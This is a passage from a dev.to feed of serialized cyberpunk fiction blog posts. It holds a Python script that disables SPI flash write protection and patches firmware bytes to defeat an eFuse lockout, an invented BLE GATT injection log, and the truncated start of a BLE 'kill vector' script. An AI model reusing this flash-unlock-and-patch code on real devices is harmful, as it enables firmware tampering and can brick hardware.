&lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_speed_hz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10000000&lt;/span&gt;
&lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mb"&gt;0b00&lt;/span&gt;

&lt;span class="c1"&gt;# W25Q128JV SPI OpCodes
&lt;/span&gt;&lt;span class="n"&gt;CMD_WREN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x06&lt;/span&gt;         &lt;span class="c1"&gt;# Write Enable
&lt;/span&gt;&lt;span class="n"&gt;CMD_RDSR1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;        &lt;span class="c1"&gt;# Read Status Register 1
&lt;/span&gt;&lt;span class="n"&gt;CMD_WRSR1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;        &lt;span class="c1"&gt;# Write Status Register 1
&lt;/span&gt;&lt;span class="n"&gt;CMD_FAST_READ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0B&lt;/span&gt;    &lt;span class="c1"&gt;# Fast Read Data
&lt;/span&gt;&lt;span class="n"&gt;CMD_PAGE_PROGRAM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x02&lt;/span&gt; &lt;span class="c1"&gt;# Page Program
&lt;/span&gt;&lt;span class="n"&gt;CMD_CHIP_ERASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;   &lt;span class="c1"&gt;# Chip Erase
&lt;/span&gt;
&lt;span class="c1"&gt;# 悪意あるeFuse焼断ルーチンが存在するフラッシュメモリアドレス
&lt;/span&gt;&lt;span class="n"&gt;TARGET_SECURITY_SECTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x001F0000&lt;/span&gt; 
&lt;span class="c1"&gt;# eFuseトリガー命令（BL eFuse_Blow）を無力化するNOPスレッド
&lt;/span&gt;&lt;span class="n"&gt;NOP_PATCH_VECTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x47&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# NOPs + BX LR (Immediate Return)
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;unlock_write_protection&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Disabling Hardware Write Protection on SPI Flash...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# WRENコマンド発行
&lt;/span&gt;    &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;CMD_WREN&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# ステータスレジスタのBP0-BP2（ブロック保護ビット）をゼロクリア
&lt;/span&gt;    &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;CMD_WRSR1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# ステータス確認
&lt;/span&gt;    &lt;span class="n"&gt;sr1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;CMD_RDSR1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;])[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sr1&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x1C&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Flash Protection Disabled successfully. Status Register: 0x{:02X}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Failed to unlock Flash. SR1: 0x{:02X}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;neutralise_biometric_drm&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;unlock_write_protection&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Patching DRM Lockout routine at physical offset 0x&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;TARGET_SECURITY_SECTOR&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 書き込みイネーブル
&lt;/span&gt;    &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;CMD_WREN&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="c1"&gt;# ページプログラムコマンド (0x02 + 24bit Address + Data)
&lt;/span&gt;    &lt;span class="n"&gt;addr_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;TARGET_SECURITY_SECTOR&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TARGET_SECURITY_SECTOR&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                  &lt;span class="n"&gt;TARGET_SECURITY_SECTOR&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CMD_PAGE_PROGRAM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;addr_bytes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOP_PATCH_VECTOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 書き込み完了待機
&lt;/span&gt;
    &lt;span class="c1"&gt;# 検証読み出し
&lt;/span&gt;    &lt;span class="n"&gt;verify_cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CMD_FAST_READ&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;addr_bytes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOP_PATCH_VECTOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;read_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;xfer2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;verify_cmd&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;read_data&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;NOP_PATCH_VECTOR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] SUCCESS: Biometric DRM Lockout Defeated! eFuse trigger replaced with NOP.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Verification Mismatch. Flash corruption risk.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;neutralise_biometric_drm&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Neural Bus SPI Interface Ready for Dynamic Biometric Re-Calibration.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;spi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Neural Agony and the Giant “Hidden Eye” Exposed
&lt;/h2&gt;

&lt;p&gt;“Patch is through! The eFuse countdown stopped!” darling shouted.&lt;/p&gt;

&lt;p&gt;“Perfect—now hit it with the bio-electrode pulses. Sofi, bite down!”&lt;/p&gt;

&lt;p&gt;Narin drove the silver probe synced to the scope straight into the exposed neural connector at my left shoulder.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Zzt-zzt-zzt!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;“—AAAAAAGH!!”&lt;/p&gt;

&lt;p&gt;White light exploded behind my eyes. Ten thousand burning needles lanced up the brachial plexus. Every muscle locked. Sweat poured down my jaw while my right hand clawed the chair.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Whirrr…&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Inside the matte-black ceramic, artificial muscle fibers twitched. Pale status LEDs flickered back to life. Fingers—&lt;em&gt;my&lt;/em&gt; fingers—twitched open on command.&lt;/p&gt;

&lt;p&gt;“…Haa… haa…!”&lt;/p&gt;

&lt;p&gt;I pulled the living arm to my chest, flexing, feeling zero-latency connection again.&lt;/p&gt;

&lt;p&gt;“…Narin. Darling. We did it. I took my body back.”&lt;/p&gt;

&lt;p&gt;Then darling’s hands froze on the keyboard.&lt;/p&gt;

&lt;p&gt;“…You two need to see this.”&lt;/p&gt;

&lt;p&gt;His voice was ice. The logs he’d pulled from unused flash sectors weren’t simple DRM code. They were encrypted telemetry packets. Every prosthetic Narin had installed across Thailand—GPS, heart rate, EMG, hormone levels—was being silently mirrored every night to a private AI server owned by a European PMC.&lt;/p&gt;

&lt;p&gt;“Biometric data smuggling?” Narin’s cinnamon stick hit the floor. “Our entire patient list is feeding their human-experiment database?”&lt;/p&gt;

&lt;p&gt;The storm outside grew louder. Lightning made the lights stutter.&lt;/p&gt;

&lt;p&gt;“…Guess this isn’t just a repair job anymore.”&lt;/p&gt;

&lt;p&gt;I ran my titanium thumbnail across my lower lip and smiled cold.&lt;/p&gt;

&lt;p&gt;“They turned my body into a data mule. Time to charge them 100× interest. Darling, Narin—tonight we root every server that touched this log.”&lt;/p&gt;

&lt;p&gt;Nobody owns my flesh. Nobody owns my freedom. Not in this city.&lt;br&gt;&lt;br&gt;
At 02:00 in a Bangkok basement, our real counter-strike began.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
‘Night on Sukhumvit, My Cyber Prosthetic Runs Wild: BLE Auth Bypass (GATT Injection) Dirty Counter-Attack and the “Memory of the Fingertips” That Got Wiped’｜Sofi_Log #071&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n26e9bf9f7886" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n26e9bf9f7886&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
※All code, protocols, and technical details in this article are provided for security research, proof-of-concept, and educational purposes only. No actual unauthorized access is encouraged or intended. Use at your own risk on systems you own or have explicit permission to test.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;【Fully Open-Source】Live Code &amp;amp; Architecture&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The SPI Flash register unlock and eFuse bypass script shown above is released in full for your own security research and learning.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #072 (Questions &amp;amp; Reactions)
&lt;/h2&gt;

&lt;p&gt;So, my darlings—what did you think of tonight’s emergency surgery log from Narin’s clinic?&lt;/p&gt;

&lt;p&gt;If you’ve ever felt that invisible collar tighten around your devices or smart medical gear the moment you step outside the manufacturer’s approved use case, how would you fight back?&lt;/p&gt;

&lt;p&gt;Want deeper dives on IoT hardware hacking, SPI extraction, or practical self-defense for your own biometric data? Drop your thoughts and questions in the comments. Sofi and darling will tackle them head-on in the next log.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『夜のスクンビット、暴走する私のサイバー義手：BLE認証バイパス（GATTインジェクション）の泥臭い迎撃戦と、初期化された「指先の記憶」』 Sofi_Log #071【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Wed, 23 Sep 2026 12:24:42 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/ye-nosukunbituto-bao-zou-surusi-nosaibayi-shou-bleren-zheng-baipasugattinziekusiyonnoni-chou-iying-ji-zhan-to-chu-qi-hua-saretazhi-xian-noji-yi-sofilog-0711hua-wan-jie--28ie</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/ye-nosukunbituto-bao-zou-surusi-nosaibayi-shou-bleren-zheng-baipasugattinziekusiyonnoni-chou-iying-ji-zhan-to-chu-qi-hua-saretazhi-xian-noji-yi-sofilog-0711hua-wan-jie--28ie</guid>
      <description>&lt;h1&gt;
  
  
  Night on Sukhumvit: My Rampaging Cyber Prosthetic Arm — The Grimy BLE Auth Bypass (GATT Injection) Interception War and the Wiped “Finger Memories” | Sofi_Log #071 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;Your wireless earbuds, smartwatch, or smart ring — can they &lt;em&gt;really&lt;/em&gt; reject connection requests from some stranger you brushed past tonight?&lt;/p&gt;

&lt;p&gt;Bluetooth Low Energy.&lt;br&gt;&lt;br&gt;
The low-power protocol gluing phones to wearables, smart locks, and even the neural interface on my left arm’s myoelectric prosthesis.  &lt;/p&gt;

&lt;p&gt;Yet most manufacturers still pull the same lazy move: they skip authentication and encryption flags on GATT characteristics because “pairing is too much hassle.”  &lt;/p&gt;

&lt;p&gt;Tonight, in the warm Sukhumvit squall, that shortcut turned my left arm into a weapon.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Titanium Fingers Screaming: Maximum Torque Prison
&lt;/h2&gt;

&lt;p&gt;It started on a dim Soi 23 alley while heading to Nalin’s clinic in Thong Lo.  &lt;/p&gt;

&lt;p&gt;A tropical downpour hammered the asphalt; the smell of fish sauce and burnt oil drifted from stall exhausts. I was walking under darling’s umbrella, fussing with the hem of my silk blouse, when—&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A searing jolt shot through my left shoulder joint.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;“…!!”&lt;/p&gt;

&lt;p&gt;A soundless scream caught in my throat.&lt;br&gt;&lt;br&gt;
The next second my left arm — matte-black bioceramic plating laced with gold-vein neural lines — came alive on its own. Carbon-nanotube artificial muscle and micro-actuators howled at a frequency that stabbed the ears.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Giiiii-giiii-giiii!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The manicured titanium fingers clenched inward with zero regard for my will, crushing my right forearm at over 80 kgf — well past human grip strength.&lt;/p&gt;

&lt;p&gt;“Sofi?! What’s wrong?!”&lt;/p&gt;

&lt;p&gt;Darling dropped the umbrella and grabbed my shoulder. Pain lanced up the brachial plexus connector as rogue PWM signals flooded back into my skull. Sweat plastered my mint-green bangs to my forehead.&lt;/p&gt;

&lt;p&gt;AR contact HUD bloomed crimson:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CRITICAL ALERT: BLE_STACK_OVERRIDE]
- Connection: Direct Unauthenticated BLE Link Established
- Remote Device: Unknown (RSSI: -42dBm, Proximity: &amp;lt; 3m)
- GATT Handle: 0x002A (Actuator_Torque_Control)
- Injection: WriteWithoutResponse [0xFF, 0xFF, 0x01, 0xAA] -&amp;gt; FORCE_CONTINUOUS_MAX_TORQUE
- Motor Thermal Warning: 82°C (Thermal Throttling Override Failed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Someone within three meters was hammering unauthenticated GATT packets straight into my arm. The servos were cooking; I could smell the silicon thermal pads scorching.&lt;/p&gt;

&lt;p&gt;“I’m… being hacked…! Darling, get back — the arm’s gonna break…!”&lt;/p&gt;




&lt;h2&gt;
  
  
  2. No Keyboard, No Mercy: Muddy Counter-Strike in the Rain
&lt;/h2&gt;

&lt;p&gt;Normally I’d be calmly running Wireshark on the ThinkPad, laughing while I cut the packets. Not tonight. My left hand was locked around my right arm like a vise and my knees were shaking too hard to stand, let alone dig out a laptop.&lt;/p&gt;

&lt;p&gt;“Sofi, hold on! I’ve got your arm!”&lt;/p&gt;

&lt;p&gt;Darling shoved me under a noodle-stall awning, pinned the rogue limb to the wet asphalt with his full weight and both knees. Titanium sparked against concrete.&lt;/p&gt;

&lt;p&gt;“Phone’s out — Termux is up! What do I type?!”&lt;/p&gt;

&lt;p&gt;I gasped through the pain:&lt;br&gt;&lt;br&gt;
“My BLE MAC is &lt;code&gt;F4:CE:46:7A:B2:10&lt;/code&gt;…! They’re spamming &lt;code&gt;0x002A&lt;/code&gt; with WriteWithoutResponse. Don’t bother with pairing — blast an emergency advertise frame and crash the controller!”&lt;/p&gt;

&lt;p&gt;Darling’s muddy fingers flew. The PoC he ran to force a hardware watchdog reset and kill the rogue session is below — exactly as executed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #071: Emergency BLE GATT Injection Interceptor &amp;amp; Forced Reset
Target: Overriding unauthorized BLE session on Myoelectric Cyberarm
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bleak&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BleakClient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BleakScanner&lt;/span&gt;

&lt;span class="n"&gt;TARGET_MAC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;F4:CE:46:7A:B2:10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="c1"&gt;# 認証バイパス脆弱性を持つアクチュエータ制御用GATT特性UUID
&lt;/span&gt;&lt;span class="n"&gt;ACTUATOR_CHAR_UUID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0000ffe1-0000-1000-8000-00805f9b34fb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="c1"&gt;# ハードウェア緊急遮断および不揮発性メモリ初期化コマンド
&lt;/span&gt;&lt;span class="n"&gt;EMERGENCY_KILL_VECTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xDE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;neutralize_attack&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
